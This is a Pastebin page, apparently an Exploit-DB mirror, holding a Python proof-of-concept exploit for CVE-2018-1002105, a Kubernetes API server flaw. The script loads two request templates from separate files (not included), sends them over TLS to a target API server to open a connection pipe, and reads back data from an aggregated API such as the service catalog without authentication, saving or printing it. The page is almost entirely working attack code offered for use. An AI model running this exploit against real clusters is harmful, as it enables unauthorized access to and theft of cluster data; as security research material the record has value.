SHARE
TWEET

EDB-ID-46052

TVT618 Dec 30th, 2018 (edited) 370 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python3
  2. import argparse
  3. from ssl import wrap_socket
  4. from json import loads, dumps
  5. from socket import create_connection
  6.  
  7.  
  8. def request_stage_1(base, version, target):
  9.  
  10.     stage_1 = ""
  11.  
  12.     with open('ustage_1', 'r') as stage_1_fd:
  13.         stage_1 = stage_1_fd.read()
  14.  
  15.     return stage_1.format(base, version, target
  16.                           ).encode('utf-8')
  17.  
  18.  
  19. def request_stage_2(base, version, target_api, target):
  20.  
  21.     stage_2 = ""
  22.  
  23.     with open('ustage_2', 'r') as stage_2_fd:
  24.         stage_2 = stage_2_fd.read()
  25.  
  26.     return stage_2.format(base, version, target_api, target,
  27.                           ).encode('utf-8')
  28.  
  29.  
  30. def read_data(ssock):
  31.  
  32.     data = []
  33.     data_incoming = True
  34.  
  35.     while data_incoming:
  36.         data_in = ssock.recv(4096)
  37.  
  38.         if not data_in:
  39.             data_incoming = False
  40.  
  41.         elif data_in.find(b'\n\r\n0\r\n\r\n') != -1:
  42.             data_incoming = False
  43.  
  44.         offset_1 = data_in.find(b'{')
  45.         offset_2 = data_in.find(b'}\n')
  46.  
  47.         if offset_1 != -1 and offset_2 != -1:
  48.             data_in = data_in[offset_1-1:offset_2+1]
  49.  
  50.         elif offset_1 != -1:
  51.             data_in = data_in[offset_1-1:]
  52.  
  53.         elif offset_2 != -1:
  54.             data_in = data_in[:offset_2-1]
  55.  
  56.         data.append(data_in)
  57.  
  58.     return data
  59.  
  60.  
  61. def run_exploit(target, stage_1, stage_2, filename, json):
  62.  
  63.     host, port = target.split(':')
  64.  
  65.     with create_connection((host, port)) as sock:
  66.  
  67.         with wrap_socket(sock) as ssock:
  68.             print('[*] Building pipe ...')
  69.             ssock.send(stage_1)
  70.  
  71.             data_in = ssock.recv(15)
  72.  
  73.             if b'HTTP/1.1 200 OK' in data_in:
  74.                 print('[+] Pipe opened :D')
  75.                 read_data(ssock)
  76.  
  77.             else:
  78.                 print('[-] Not sure if this went well...')
  79.  
  80.             print(f"[*] Attempting to access url")
  81.  
  82.             ssock.send(stage_2)
  83.             data_in = ssock.recv(15)
  84.  
  85.             if b'HTTP/1.1 200 OK' in data_in:
  86.                 print('[+] Pipe opened :D')
  87.  
  88.             data = read_data(ssock)
  89.  
  90.             return data
  91.  
  92.  
  93. def parse_output(data, json, filename):
  94.  
  95.     if json:
  96.         j = loads(''.join(i.decode('utf-8')
  97.                           for i in data))
  98.  
  99.         data = dumps(j, indent=4)
  100.  
  101.         if filename:
  102.             mode = 'w+'
  103.  
  104.         else:
  105.             mode = 'wb+'
  106.  
  107.     if filename:
  108.         print(f"[*] Writing output to {filename} ....")
  109.  
  110.         with open(filename, mode) as fd:
  111.             if json:
  112.                 fd.write(data)
  113.  
  114.             else:
  115.                 for msg in data:
  116.                     fd.write(msg)
  117.  
  118.             print('[+] Done!')
  119.  
  120.     else:
  121.         if json:
  122.             print(data)
  123.  
  124.         else:
  125.             print(''.join(msg.decode('unicode_escape') for msg in data))
  126.  
  127.  
  128. def main():
  129.  
  130.     parser = argparse.ArgumentParser(description='Unauthenticated PoC for'
  131.                                                  ' CVE-2018-1002105')
  132.     required = parser.add_argument_group('required arguments')
  133.     optional = parser.add_argument_group('optional arguments')
  134.  
  135.     required.add_argument('--target', '-t', dest='target', type=str,
  136.                           help='API server target:port', required=True)
  137.     required.add_argument('--api-base', '-b', dest='base', type=str,
  138.                           help='Target API name i.e. "servicecatalog.k8s.io"',
  139.                           default="servicecatalog.k8s.io")
  140.     required.add_argument('--api-target', '-u', dest='target_api', type=str,
  141.                           help='API to access i.e. "clusterservicebrokers"',
  142.                           default="clusterservicebrokers")
  143.  
  144.     optional.add_argument('--api-version', '-a', dest='version', type=str,
  145.                           help='API version to use i.e. "v1beta1"',
  146.                           default="v1beta1")
  147.     optional.add_argument('--json', '-j', dest='json', action='store_true',
  148.                           help='Print json output', default=False)
  149.     optional.add_argument('--filename', '-f', dest='filename', type=str,
  150.                           help='File to save output to', default=False)
  151.  
  152.     args = parser.parse_args()
  153.  
  154.     if args.target.find(':') == -1:
  155.         print("f[-] invalid target {args.target}")
  156.         return False
  157.  
  158.     stage1 = request_stage_1(args.base, args.version, args.target)
  159.  
  160.     stage2 = request_stage_2(args.base, args.version, args.target_api,
  161.                              args.target)
  162.  
  163.     output = run_exploit(args.target, stage1, stage2, args.filename, args.json)
  164.  
  165.     parse_output(output, args.json, args.filename)
  166.  
  167.  
  168. if __name__ == '__main__':
  169.     main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top